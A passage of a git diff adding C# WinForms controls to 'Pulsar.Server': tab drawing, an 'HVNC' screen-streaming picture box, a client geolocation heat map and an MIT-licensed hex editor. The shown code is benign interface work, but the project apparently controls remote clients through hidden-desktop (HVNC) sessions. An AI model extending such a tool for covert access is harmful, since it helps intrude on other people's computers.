g.DrawString(text, fontToUse, textBrush, rect, new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center, + Trimming = StringTrimming.EllipsisCharacter + }); + + + if (fontToUse != baseFont) + { + fontToUse.Dispose(); + } + } + + + private void DrawCloseButton(Graphics g, Rectangle tabRect, int tabIndex, bool isSelected) + { + + if (!_showCloseButtons) + return; + + + int buttonSize = 16; + int buttonX = tabRect.Right - buttonSize - 5; + int buttonY = tabRect.Top + (tabRect.Height - buttonSize) / 2; + + Rectangle closeRect = new Rectangle(buttonX, buttonY, buttonSize, buttonSize); + + + _closeButtonRects[tabIndex] = closeRect; + + + Color bgColor = _darkMode + ? (isSelected ? Color.FromArgb(90, 90, 90) : Color.FromArgb(60, 60, 60)) + : (isSelected ? Color.FromArgb(240, 240, 250) : Color.FromArgb(220, 220, 240)); + + using (SolidBrush bgBrush = new SolidBrush(bgColor)) + { + g.FillEllipse(bgBrush, closeRect); + } + + + Color xColor = _darkMode + ? Color.FromArgb(200, 200, 200) + : Color.FromArgb(100, 100, 100); + + using (Pen xPen = new Pen(xColor, 1.5f)) + { + + g.DrawLine(xPen, + closeRect.Left + 4, closeRect.Top + 4, + closeRect.Right - 4, closeRect.Bottom - 4); + + g.DrawLine(xPen, + closeRect.Left + 4, closeRect.Bottom - 4, + closeRect.Right - 4, closeRect.Top + 4); + } + } + protected override void OnPaint(PaintEventArgs e) + { + + _closeButtonRects.Clear(); + + Bitmap b = new Bitmap(Width, Height); + Graphics g = Graphics.FromImage(b); + g.SmoothingMode = SmoothingMode.AntiAlias; + g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; + if (_darkMode) + { + DrawDarkMode(g); + } + else + { + DrawLightMode(g); + } + e.Graphics.DrawImage(b, new Point(0, 0)); + g.Dispose(); + b.Dispose(); + } + private void DrawDarkMode(Graphics g) + { + if (!DesignMode && TabCount > 0 && SelectedIndex >= 0) + SelectedTab.BackColor = Color.FromArgb(43, 43, 43); + g.Clear(Color.FromArgb(43, 43, 43)); + g.FillRectangle(new SolidBrush(Color.FromArgb(43, 43, 43)), + new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(ItemSize.Height + 3, 0), + new Point(ItemSize.Height + 3, 999)); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(0, Size.Height - 1), + new Point(Width + 3, Size.Height - 1)); + for (int i = 0; i <= TabCount - 1; i++) + { + if (i == SelectedIndex) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(70, 70, 70)), x2); + g.DrawRectangle(new Pen(Color.FromArgb(43, 43, 43)), x2); + g.SmoothingMode = SmoothingMode.HighQuality; + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.White, true); + } + + + DrawCloseButton(g, x2, i, true); + } + else + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(43, 43, 43)), x2); + g.DrawLine(new Pen(Color.FromArgb(80, 80, 80)), new Point(x2.Right, x2.Top), + new Point(x2.Right, x2.Bottom)); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.LightGray, false); + } + + + DrawCloseButton(g, x2, i, false); + } + } + } + private void DrawLightMode(Graphics g) + { + if (!DesignMode && TabCount > 0 && SelectedIndex >= 0) + SelectedTab.BackColor = SystemColors.Control; + + g.Clear(SystemColors.Control); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), + new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(ItemSize.Height + 3, 0), + new Point(ItemSize.Height + 3, 999)); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(0, Size.Height - 1), + new Point(Width + 3, Size.Height - 1)); + + for (int i = 0; i <= TabCount - 1; i++) + { + if (i == SelectedIndex) + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + ColorBlend myBlend = new ColorBlend(); + myBlend.Colors = new Color[] { Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240), Color.FromArgb(232, 232, 240) }; + myBlend.Positions = new float[] { 0f, 0.5f, 1f }; + LinearGradientBrush lgBrush = new LinearGradientBrush(x2, Color.Black, Color.Black, 90f); + lgBrush.InterpolationColors = myBlend; + g.FillRectangle(lgBrush, x2); + g.DrawRectangle(new Pen(Color.FromArgb(170, 187, 204)), x2); + g.SmoothingMode = SmoothingMode.HighQuality; + Point[] p = + { + new Point(ItemSize.Height - 3, GetTabRect(i).Location.Y + 20), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 14), + new Point(ItemSize.Height + 4, GetTabRect(i).Location.Y + 27) + }; + g.FillPolygon(SystemBrushes.Control, p); + g.DrawPolygon(new Pen(Color.FromArgb(170, 187, 204)), p); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.Black, true); + } + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Location.Y - 1), + new Point(x2.Location.X, x2.Location.Y)); + g.DrawLine(new Pen(Color.FromArgb(200, 200, 250)), new Point(x2.Location.X - 1, x2.Bottom - 1), + new Point(x2.Location.X, x2.Bottom)); + + + DrawCloseButton(g, x2, i, true); + } + else + { + Rectangle x2 = new Rectangle(new Point(GetTabRect(i).Location.X - 2, GetTabRect(i).Location.Y - 2), + new Size(GetTabRect(i).Width + 3, GetTabRect(i).Height - 1)); + g.FillRectangle(new SolidBrush(Color.FromArgb(246, 248, 252)), x2); + g.DrawLine(new Pen(Color.FromArgb(170, 187, 204)), new Point(x2.Right, x2.Top), + new Point(x2.Right, x2.Bottom)); + + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + catch (Exception) + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + } + else + { + + DrawTabText(g, x2, TabPages[i].Text, Font, Brushes.DimGray, false); + } + + + DrawCloseButton(g, x2, i, false); + } + } + } + } +} diff --git a/Pulsar.Server/Controls/HVNCRapidPictureBox.cs b/Pulsar.Server/Controls/HVNCRapidPictureBox.cs new file mode 100644 index 0000000..a0ac65f --- /dev/null +++ b/Pulsar.Server/Controls/HVNCRapidPictureBox.cs @@ -0,0 +1,194 @@ +using Pulsar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using System.ComponentModel; + +namespace Pulsar.Server.Controls +{ + public interface IHVNCRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class HVNCRapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Image GetImageSafe + { + get + { + return Image; + } + set + { + lock (_imageLock) + { + Image = value; + } + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) && (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + lock (_imageLock) + { + // get old image to dispose it correctly + var oldImage = GetImageSafe; + + SuspendLayout(); + GetImageSafe = cloneBitmap ? (Bitmap)bmp.Clone() : bmp; + ResumeLayout(); + + oldImage?.Dispose(); + } + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public HVNCRapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; // Turn on WS_EX_COMPOSITED + return cp; + } + } + + protected override void OnPaint(PaintEventArgs pe) + { + lock (_imageLock) + { + if (GetImageSafe != null) + { + pe.Graphics.DrawImage(GetImageSafe, Location); + } + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/HeatMapElementHost.cs b/Pulsar.Server/Controls/HeatMapElementHost.cs new file mode 100644 index 0000000..c84e036 --- /dev/null +++ b/Pulsar.Server/Controls/HeatMapElementHost.cs @@ -0,0 +1,47 @@ +using System.Windows.Forms; +using System.Windows.Forms.Integration; +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Statistics; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class HeatMapElementHost : ElementHost + { + private readonly HeatMapView _heatMapView; + private ClientGeoSnapshot? _lastSnapshot; + + public HeatMapElementHost() + { + _heatMapView = new HeatMapView(); + Child = _heatMapView; + Dock = DockStyle.Fill; + } + + public void ShowLoading() + { + _heatMapView.ShowLoading(); + } + + public void ShowError(string message) + { + _heatMapView.ShowError(message); + } + + public void UpdateSnapshot(ClientGeoSnapshot snapshot) + { + _lastSnapshot = snapshot; + _heatMapView.UpdateSnapshot(snapshot); + } + + public void ApplyTheme(bool isDarkMode) + { + _heatMapView.ApplyTheme(isDarkMode); + if (_lastSnapshot != null && !_lastSnapshot.HasError) + { + _heatMapView.UpdateSnapshot(_lastSnapshot); + } + } + } +} diff --git a/Pulsar.Server/Controls/HexEditor/ByteCollection.cs b/Pulsar.Server/Controls/HexEditor/ByteCollection.cs new file mode 100644 index 0000000..10c052e --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/ByteCollection.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class ByteCollection + { + private List _bytes; + + #region Properties + + public int Length + { + get { return _bytes.Count; } + } + + #endregion + + #region Constructor + + public ByteCollection() + { + _bytes = new List(); + } + + public ByteCollection(byte[] bytes) + { + _bytes = new List(bytes); + } + + #endregion + + #region Methods + + public void Add(byte item) + { + _bytes.Add(item); + } + + public void Insert(int index, byte item) + { + _bytes.Insert(index, item); + } + + public void Remove(byte item) + { + _bytes.Remove(item); + } + + public void RemoveAt(int index) + { + _bytes.RemoveAt(index); + } + + public void RemoveRange(int startIndex, int count) + { + _bytes.RemoveRange(startIndex, count); + } + + public byte GetAt(int index) + { + return _bytes[index]; + } + + public void SetAt(int index, byte item) + { + _bytes[index] = item; + } + + public char GetCharAt(int index) + { + return Convert.ToChar(_bytes[index]); + } + + public byte[] ToArray() + { + return _bytes.ToArray(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/Caret.cs b/Pulsar.Server/Controls/HexEditor/Caret.cs new file mode 100644 index 0000000..5f6ac02 --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/Caret.cs @@ -0,0 +1,232 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class Caret + { + #region Field + + /// + /// Contains the start index + /// where the caret started + /// + int _startIndex; + + /// + /// Contains the end index + /// where the caret is + /// currently located + /// + int _endIndex; + + /// + /// Tells if the given caret + /// is active in the controller + /// (control is in focus) + /// + bool _isCaretActive; + + + /// + /// Tells if the caret is + /// currently hidden or + /// not (out of view) + /// + bool _isCaretHidden; + + /// + /// Holds the actual position + /// of the caret + /// + Point _location; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int SelectionStart + { + get + { + if (_endIndex < _startIndex) + return _endIndex; + return _startIndex; + } + } + + public int SelectionLength + { + get + { + if (_endIndex < _startIndex) + return _startIndex - _endIndex; + return _endIndex - _startIndex; + } + } + + public bool Focused + { + get { return _isCaretActive; } + } + + public int CurrentIndex + { + get { return _endIndex; } + } + + public Point Location + { + get { return _location; } + } + + #endregion + + #region EventHandlers + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + #endregion + + #region Constructor + + public Caret(HexEditor editor) + { + _editor = editor; + _isCaretActive = false; + _startIndex = 0; + _endIndex = 0; + _isCaretHidden = true; + _location = new Point(0, 0); + } + + #endregion + + #region Methods + + #region Caret + + private bool Create(IntPtr hWHandler) + { + if (!_isCaretActive) + { + _isCaretActive = true; + return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2); + } + + return false; + } + + private bool Show(IntPtr hWnd) + { + if (_isCaretActive) + { + _isCaretHidden = false; + return ShowCaret(hWnd); + } + + return false; + } + + public bool Hide(IntPtr hWnd) + { + if (_isCaretActive && !_isCaretHidden) + { + _isCaretHidden = true; + return HideCaret(hWnd); + } + return false; + } + + public bool Destroy() + { + if (_isCaretActive) + { + _isCaretActive = false; + DeSelect(); + DestroyCaret(); + } + + return false; + } + + #endregion + + public void SetStartIndex(int index) + { + _startIndex = index; + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + + } + + public void SetEndIndex(int index) + { + _endIndex = index; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + Create(_editor.Handle); + _location = start; + SetCaretPos(_location.X, _location.Y); + Show(_editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength)); + } + + private void DeSelect() + { + if (_endIndex < _startIndex) + _startIndex = _endIndex; + else + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + #endregion + + #region Caret import + + [DllImport("user32.dll", SetLastError = true)] + static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool HideCaret(IntPtr hWnd); + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/EditView.cs b/Pulsar.Server/Controls/HexEditor/EditView.cs new file mode 100644 index 0000000..8d14900 --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/EditView.cs @@ -0,0 +1,177 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + public class EditView : IKeyMouseEventHandler + { + #region Fields + + /// + /// Contains the handler for the hex + /// view. + /// + private HexViewHandler _hexView; + + /// + /// Contains the handler for the + /// string view + /// + private StringViewHandler _stringView; + + private HexEditor _editor; + + #endregion + + #region Contructor + + public EditView(HexEditor editor) + { + _editor = editor; + _hexView = new HexViewHandler(editor); + _stringView = new StringViewHandler(editor); + } + + #endregion + + #region KeyMouseEvent + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyPress(e); + } + else + { + _stringView.OnKeyPress(e); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyDown(e); + } + else + { + _stringView.OnKeyDown(e); + } + } + + public void OnKeyUp(KeyEventArgs e) + { /* ... */ } + + #endregion + + #region Mouse + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDown(e.X, e.Y); + } + else + { + _stringView.OnMouseDown(e.X, e.Y); + } + } + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDragged(e.X, e.Y); + } + else + { + _stringView.OnMouseDragged(e.X, e.Y); + } + } + } + + public void OnMouseUp(MouseEventArgs e) + { /* ... */ } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDoubleClick(); + } + else + { + _stringView.OnMouseDoubleClick(); + } + } + } + + #endregion + + #region Focus + + public void OnGotFocus(EventArgs e) + { + if (InHexView(_editor.CaretPosX)) + _hexView.Focus(); + else + _stringView.Focus(); + } + + #endregion + + #endregion + + #region UpdateActions + public void SetLowerCase() + { + _hexView.SetLowerCase(); + } + + public void SetUpperCase() + { + _hexView.SetUpperCase(); + } + + public void Update(int startPositionX, Rectangle area) + { + _hexView.Update(startPositionX, area); + _stringView.Update(_hexView.MaxWidth, area); + } + #endregion + + #region PaintActions + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int i = 0; (i + startIndex) < endIndex; i++) + { + _hexView.Paint(g, i, startIndex); + _stringView.Paint(g, i, startIndex); + } + } + + #endregion + + #region Misc + + private bool InHexView(int x) + { + return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2)); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/HexEditor/HexEditor.cs b/Pulsar.Server/Controls/HexEditor/HexEditor.cs new file mode 100644 index 0000000..2373d7d --- /dev/null +++ b/Pulsar.Server/Controls/HexEditor/HexEditor.cs @@ -0,0 +1,1374 @@ +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls.HexEditor +{ + /* + * Derived and Adapted from Bernhard Elbl + * Be.HexEditor v1.6 (Last Update: Dec 27, 2013). + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code (and the rest that is avaliable in the + * HexEditor-folder) has been derived from Bernhard + * ElblBe's Be.HexEditor v1.6, modifications have + * been made to make it better fit the new application + * area. + * First Modified by StingRaptor on Febuary 7, 2016 + */ + /* [Original License, ONLY for Current HexEditor Folder] + * This license is applied only to the files in the current + * HexEditor Folder + + * The MIT License + + Copyright (c) 2011 Bernhard Elbl + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. + */ + /* + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * http://sourceforge.net/projects/hexbox/?source=navbar + */ + + public class HexEditor : Control + { + #region Locks + + private object _caretLock = new object(); + + private object _hexTableLock = new object(); + + #endregion + + #region IKeyMouseEventHandlers + + private IKeyMouseEventHandler _handler; + + #endregion + + #region EditView + + private EditView _editView; + + #endregion + + #region Fields + + /// + /// Contains all of the bytes that + /// are to be displayed in the + /// HexEditor + /// + ByteCollection _hexTable; + + /// + /// Contains the type of counter + /// for the linecount + /// + string _lineCountCaps = "X"; + + /// + /// Contains the number of chars + /// to be used in the line count + /// + int _nrCharsLineCount = 4; + + /// + /// Contains the caret for the + /// control + /// + Caret _caret; + + #region Boundarys + + /// + /// Contains the bound for everything that + /// is to be displayed in the control + /// + Rectangle _recContent; + + /// + /// Contains the boundary for every + /// line count for the control + /// + Rectangle _recLineCount; + + #endregion + + #region String Format + + /// + /// Contains the format of the line count + /// string that is presented in this control + /// + StringFormat _stringFormat; + + #endregion + + #region Byte specific + + /// + /// Contains the index of the first + /// visible byte + /// + int _firstByte; + + /// + /// Contains the index of the last + /// visible byte + /// + int _lastByte; + + /// + /// Contains the maximum bytes that + /// can be visible horizontally + /// + int _maxBytesH; + + /// + /// Contains the maximum bytes that + /// can be visible vertically + /// + int _maxBytesV; + + /// + /// Contains the maximum number of + /// bytes that can be visible at a + /// time. + /// + int _maxBytes; + + /// + /// Contains the maximum number of + /// rows with bytes that are fully + /// visible. + /// + int _maxVisibleBytesV; + + #endregion + + #region Scrollbar + + /// + /// Contains the vertical scroll + /// bar for the control + /// + VScrollBar _vScrollBar; + + /// + /// Contains the with of the scrollbar + /// in pixels + /// + int _vScrollBarWidth = 20; + + /// + /// Contains the current position of the + /// scrollbar + /// + int _vScrollPos; + + /// + /// Contains the maximum value that + /// the scrollbar can have + /// + int _vScrollMax; + + /// + /// Contains the minimum value + /// that the scrollbar may have + /// + int _vScrollMin; + + /// + /// Contains the value for the + /// size of a smallchange in the + /// scrollbar + /// + int _vScrollSmall; + + /// + /// Contains the value for the + /// size of a largechange in the + /// scrollbar + /// + int _vScrollLarge; + + #endregion + + #endregion + + #region Properties + + #region enums + + public enum CaseStyle { LowerCase, UpperCase } + + #endregion + + #region Overriden + + //Override font to trigger update on font change + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override Font Font + { + set + { + base.Font = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + + //Hides the property Text that is not used for the control + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override string Text + { + get + { + return base.Text; + } + set + { + base.Text = value; + } + } + + #endregion + + #region Hidden + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (_hexTableLock) + { + return _hexTable.ToArray(); + } + } + set + { + lock (_hexTableLock) + { + if (value == _hexTable.ToArray()) + return; + + _hexTable = new ByteCollection(value); + } + UpdateRectanglePositioning(); + Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get { return _charSize; } + private set + { + if (_charSize == value) + return; + + _charSize = value; + + if (CharSizeChanged != null) + CharSizeChanged(this, EventArgs.Empty); + } + } + SizeF _charSize; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV + { + get { return _maxBytesV; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte + { + get { return _firstByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte + { + get { return _lastByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get { return _isVScrollHidden; } + set + { + if (_isVScrollHidden == value) + return; + + _isVScrollHidden = value; + + if (!_isVScrollHidden) + Controls.Add(_vScrollBar); + else + Controls.Remove(_vScrollBar); + + UpdateRectanglePositioning(); + Invalidate(); + } + } + bool _isVScrollHidden = true; + + #endregion + + #region Visible + + /// + /// Contains the number of bytes to + /// display per line + /// + [DefaultValue(8), Category("Hex"), Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get { return _bytesPerLine; } + set + { + if (_bytesPerLine == value) + return; + + _bytesPerLine = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + int _bytesPerLine = 8; + + + /// + /// Contains the margin between each + /// of the entitys + /// + [DefaultValue(10), Category("Hex"), Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get { return _entityMargin; } + set + { + if (_entityMargin == value) + return; + + _entityMargin = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + int _entityMargin = 10; + + /// + /// Contains the type of border + /// that is used for the control + /// + [DefaultValue(BorderStyle.Fixed3D), Category("Appearance"), Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get { return _borderStyle; } + set + { + if (_borderStyle == value) + return; + + if (value != BorderStyle.FixedSingle) + _borderColor = Color.Empty; + + _borderStyle = value; + UpdateRectanglePositioning(); + Invalidate(); + } + } + BorderStyle _borderStyle = BorderStyle.Fixed3D; + + /// + /// Contains the color for the border + /// that is used for the control + /// (Only used when BorderStyle is FixedSingle) + /// + [DefaultValue(typeof(Color), "Empty"), Category("Appearance"), Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get { return _borderColor; } + set + { + if (BorderStyle != BorderStyle.FixedSingle || _borderColor == value) + return; + + _borderColor = value; + Invalidate(); + } + } + Color _borderColor = Color.Empty; + + /// + /// Contains the color of the selected + /// background area in the control + /// + [DefaultValue(typeof(Color), "Blue"), Category("Hex"), Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get { return _selectionBackColor; } + set + { + if (_selectionBackColor == value) + return; + + _selectionBackColor = value; + } + } + Color _selectionBackColor = Color.Blue; + + /// + /// Contains the color of the selected + /// foreground area in the control + /// + [DefaultValue(typeof(Color), "White"), Category("Hex"), Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get { return _selectionForeColor; } + set + { + if (_selectionForeColor == value) + return; + + _selectionForeColor = value; + } + } + Color _selectionForeColor = Color.White; + + /// + /// Contains the case type for the + /// line counter + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use on the line counter.")] + public CaseStyle LineCountCaseStyle + { + get { return _lineCountCaseStyle; } + set + { + if (_lineCountCaseStyle == value) + return; + + _lineCountCaseStyle = value; + + if (_lineCountCaseStyle == CaseStyle.LowerCase) + _lineCountCaps = "x"; + else + _lineCountCaps = "X"; + + Invalidate(); + } + } + CaseStyle _lineCountCaseStyle = CaseStyle.UpperCase; + + /// + /// Contains the case type for the + /// hex view. + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use for the hexadecimal values view.")] + public CaseStyle HexViewCaseStyle + { + get { return _hexViewCaseStyle; } + set + { + if (_hexViewCaseStyle == value) + return; + + _hexViewCaseStyle = value; + + if (_hexViewCaseStyle == CaseStyle.LowerCase) + _editView.SetLowerCase(); + else + _editView.SetUpperCase(); + + Invalidate(); + } + } + CaseStyle _hexViewCaseStyle = CaseStyle.UpperCase; + + /// + /// Property that contains if the + /// vertical scrollbar should be + /// visible or not + /// + 